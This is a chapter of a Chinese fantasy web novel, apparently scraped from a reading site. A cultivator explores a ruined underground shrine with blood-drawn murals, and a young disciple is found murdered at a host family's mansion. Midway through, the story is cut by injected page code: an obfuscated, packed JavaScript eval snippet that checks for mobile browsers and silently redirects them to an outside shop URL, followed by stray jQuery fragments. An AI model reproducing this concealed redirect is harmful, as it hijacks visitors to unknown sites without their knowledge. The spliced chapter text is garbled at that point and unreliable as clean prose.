文趣网 > 其他小说 > 废柴也要去捉妖吗 > 13. 冤魂索命
    褚听澜坠入黑暗,他下落的时间并不长,很快便触及到了地面。

    仅是踉跄了几步便稳住了身形。

    褚听澜单膝跪地,手按在剑柄上,迅速环顾四周。

    这里……与玄鸟神社长得一模一样,让他都有些恍惚。

    可不一样的是,这里的一切都破败得不成样子。

    帷幔变成了挂在墙上的碎布,灰扑扑的,上面曾经的绣纹已经完全看不清了。

    供桌塌了一半,桌腿腐烂得像被虫子蛀空的骨头。

    蒲团只剩下一个轮廓,里面的稻草散了一地。

    空气里弥漫着一股浓烈的霉味,混着泥土的腥气和某种动物身上的骚臭。

    墙壁上也爬满了青苔,墙角处,还有东西在蠕动。

    褚听澜定睛一看——是蛇。

    不是一条,是很多条。

    大大小小,粗细不一,盘踞在屋子的各个角落。

    有的缠在塌了一半的房梁上,有的蜷缩在碎布帷幔后面,有的从墙洞中探出半个脑袋,吐着黑色的信子。

    它们的眼睛在黑暗中泛着幽绿色的光,密密麻麻的,像一盏盏鬼火。

    但这些蛇并没有攻击他。

    它们只是静静地看着他,像是在审视一个不速之客。

    褚听澜缓缓站起身,没有拔剑。

    他环顾四周,这才是玄鸟神社真正的模样。

    褚听澜正要向前查探一番,头顶传来了声音。

    是燕观霜的声音。

    她的声音穿透了厚厚的泥土和砖石,变得模糊而遥远,像隔着一层雾

    “褚听澜!”

    他抬起头,看见头顶上方约莫两丈高的地方,有一小片微弱的光。

    那是他刚才掉下来的地方,但不稍片刻就消失不见,仿佛置入另外的空间。

    “我是褚听澜!”他运用灵力传声道,“我掉进了一个地下空间,这里应该是神社的正下方。我很安全,不用担心!”

    声音稳稳地传入了燕观霜的耳朵中,听到褚听澜平安无事,她才如释重负般松了口气,收起了手中的灵符。

    “这个地方很安全!”褚听澜又说了一遍,声音沉稳如常,“与玄鸟神社一模一样,但我觉得这里才是玄鸟神社真正的模样,或许藏着许多线索,你先回李府,不用担心我。”

    说罢他点燃了一张灵符,借着微弱的光,开始仔细查看这个地下神社。

    灵符的光芒照亮了墙壁上的壁画。

    壁画已经斑驳得不成样子了,但那壁画却不是用颜料画成,而是血。

    干涸了不知多少年的血,呈暗褐色,深深浅浅地渗透进了砖石的缝隙里。

    画风很简单,线条粗砺而直接,但每一笔都极其精准。

    而且褚听澜从线条的转折和力度中能看出,这是一个女子的手笔,带着柔韧细腻,不是画师,却有着大家闺秀自小习画的风采。

    第一幅画,

    两个人站在一起,一个女子,一个男子。男子的身形比女子高大,站在中间偏后的位置,像是在守护着前面的那个人。

    两人的距离很近,近到衣袂相连,像是亲密无间的家人。

    第二幅画。

    场景变了,依旧是男子和一名女子,但那名女子相较第一幅的女子身形更加纤细,高一些,似不是同一个人。

    那女子倒在地上,身体蜷缩,男子蹲在她身边。

    他救了她。

    男子救了那个女子。

    第三幅画。

    三个人站在一起,男子和那两名女子,左边的女子纤细,是被男子救下来的女子,右边的女子矮一些,是第一幅画最开始出现的女子。

    三个人亲密无间,似好友。

    可第四幅画,气氛完全不同了,线条也更加用力。

    男子死了,那个站在左侧被他救过的女子,手中握着匕首,刺伤了男子。

    褚听澜的手指微微握紧,可再往后看去,那画已经没了,只有许多用血写成的字。

    死……

    死……

    死死死死死死!!!!

    这些字带着愤怒,环绕在纤细的女子的周围。

    壁画的尽头,是一行字。

    字迹潦草而仓促,像是在极度的恐惧中写下的,每一笔都在颤抖:

    “她不是人,乃妖也。其羽青翠,其目如金,能夺人心魄。万金城人皆为其所惑,吾独醒,然吾将死矣。后有来者,切勿供奉,切勿许愿,切勿——”

    字迹在这里断了。

    最后那个“勿”字的最后一笔拖得很长,长长地拖下去。

    褚听澜盯着那行字,沉默了很久。

    “她不是人,乃妖也,其羽青翠,其目如金,能夺人心魄……”褚听澜重复念道,“这不就是青鸾吗?画面中的男子又是谁,青鸾又为何要杀他?”

    一个个谜团浮上心头,但可以揣测的是,作画之人应该就是第一幅画面中最先出现的那个女子。

    褚听澜掌心拂上壁画:“你到底想告诉我们什么……”

    话音刚落,他掌心的温度缓缓传入壁画,那血像是活了过来,在墙壁上颤动,只听见他背后传来响动。

    供桌后的机关被启动了,供桌缓缓移开,露出后方尘封的暗室。

    褚听澜转身缓缓凑上前,垂眸望去,只见暗室中卧着一名女子,她双手交叠,双目紧闭,周身萦绕着一层淡得几乎看不见的灵光。

    直到他的气息靠近,那女子的睫毛才几不可察的颤了颤。

    -

    “啊啊啊啊啊啊啊啊啊啊!!!!!!”

    晨曦微亮,一声尖叫划破长空,打破了李府沉甸甸的寂静。

    是李府的下人,一个穿着青色短褐的小厮,手里还端着一盆洗脸水,不知看见了什么,铜盆砸在地上,水花四溅却浑然不觉。

    他跌坐在地,眼睛慌张地盯着半敞的房门,脸色苍白如纸。

    那间厢房的门半开着,晨光从门缝中挤进去,照亮了门口的一小片地面。

    一个人躺在那里。

    那人正面朝上,四肢僵硬,身下还有一大片暗红色的液体,在地面上缓缓蔓延,浸透了他的衣袍,浸透了门槛,甚至渗透到了门外的石阶上。

    燕栩是被那声尖叫吵醒的。

    他翻了个身,宿醉的余劲还牢牢地扒着他的太阳穴不放。

    他皱着眉,含混地骂了一句“吵死了”,撑着床沿坐起来,揉了揉眼睛。

    然后他看见了门口的那个人。

    那是唐潇,唐家弟子,今年刚满十七,剑法学得一般,但人很机灵,嘴也甜,见了谁都叫师兄。

    来的路上,唐潇跟燕栩分在了同一辆马车,两个人有一搭没一搭地聊了一路,唐潇还把自己带的蜜饯分给了他吃。

    而昨晚,唐潇正是与他一个厢房,如今却无故死在房门口。

    他的胸口有一个伤口,像是什么尖锐的东西从背后刺入,贯穿了身体,又抽了出去。

    燕栩的脑子“嗡”的一声,他猛地从床上弹起来,赤脚踩在冰凉的地砖上,三步并作两步冲到门口。

    他的手伸出去,想扶起唐潇,但在触碰到那具身体的瞬间,指尖顿住了

    不用探脉搏,不用听心跳。他一眼就能看出来,唐潇已经死了。

    “来人——!!!”燕栩的声音都变了调,“来人啊!!!出事了!!!”

    他的喊声惊醒了整座院子。

    先是隔壁厢房的唐逸。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565490|203990||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>他衣衫不整,头发散着,一眼就看见了地上的唐潇。

    唐逸立即冲了过去,他撞开燕栩,跪在唐潇身边,将手指按上他的颈侧。

    唐逸的手开始发抖:“是谁…是谁杀了我师弟?”

    唐潇冰冷地躺在唐逸怀中,再也发不出任何言语。

    院子里的人越来越多。

    褚岁披着外衣跑出来,刚到门口就捂住了嘴:“唐潇师兄……”

    云渺渺跟在她身后,看了一眼就转过身去,被吓得尖叫了一声。

    褚清风更是进门的那一瞬,腿就软了下去。

    燕观霜因褚听澜的事一夜辗转反侧,难以入眠,好不容易到天亮才睡了几个时辰,一听到燕栩的声音,她立即披上外衣,拿上佩剑冲出了房门。

    于是就看见了眼前的一幕。

    “唐潇师弟……”燕观霜第一时间就去看了窗棂上的灵符,灵符还在,没有任何毁坏的痕迹,唐潇是自己出去的。

    可她分明留了一道留声符,唐潇的性子也不是胡来的人。

    朱夫人是最后到的。

    她穿着一件半新不旧的藕荷色褙子,头发随意挽了个髻,没有戴首饰,看起来是被丫鬟从床上叫起来的。

    她走进院子的时候,脚步还带着刚睡醒的虚浮,嘴里念叨着“怎么了怎么了大早上的”。

    然后她看见了地上的唐潇。

    朱夫人大叫出声,身子猛地往后一仰,被身后的丫鬟一把扶住才没有摔倒。

    她捂着胸口,大口大口地喘气,眼睛瞪得比方才那小厮还大,瞳孔里全是恐惧。

    “这……这……”她的声音在发抖,“这怎么回事?这怎么回事啊?!”

    没有人回答她。

    唐逸站了起来。

    他的手上全是血,衣袍上也是血,他转过身,看着朱夫人。

    “昨日。”唐逸眼眶泛红,一字一句都是从口中挤出来的,“昨日你给我们喝的酒,里面加了什么?”

    朱夫人的脸更白了:“我……我什么也没加啊,那就是普通的酒,是万金城家家户户都喝的。”

    “普通的酒能让人睡一整夜醒不过来?”唐逸往前走了一步,“普通的酒能让一屋子修士睡得跟死人一样,连隔壁厢房有人被杀都听不见?”

    朱夫人的嘴唇哆嗦,看起来是真的慌了:“我真不知情,在玄鸟大仙的眼皮子底下,谁敢犯这种忌讳的事,更何况诸位修士法力高强,我们这些平民百姓,又怎么会……”

    就在这一片混乱中,一个瘦削的身影跌跌撞撞地冲进了院子。

    是李秀莲。

    她脸色苍白,嘴唇上几乎没有血色,跑得很急,几次差点被裙角绊倒,身后的丫鬟追都追不上。

    李秀莲身子虚弱,几乎很少有这样的疾跑,但眼下也顾不了这些,她大声喊道:“是冤魂索命,是冤魂索命啊!!!”

    她冲进院子,扑通一声跪在了唐潇的尸体旁边,双手捂着脸,肩膀剧烈地颤抖着,哭泣不止。

    “我早就说了…我早就说了,这是报应,这是报应。”她的声音断断续续的,“我们都会死在这里的……”

    朱夫人看向李秀莲,目光里带着恐惧慌张。

    “秀莲!”朱夫人声音里带着明显的警告意味,“你在胡说什么?!”

    李秀莲没有看她。

    她跪在地上,捂着脸,整个人缩成了一团。

    唐逸抱着唐潇的尸体,只一瞬便盯紧了李秀莲:“什么冤魂索命?”

    他又将目光移向慌张的朱夫人:“你们到底在隐瞒什么,如若不从实说来,我唐逸绝不会放过你们,整个李家都为我的师弟陪葬!”

    朱夫人揉了揉眉心,似是无奈,这才娓娓道来一段往事……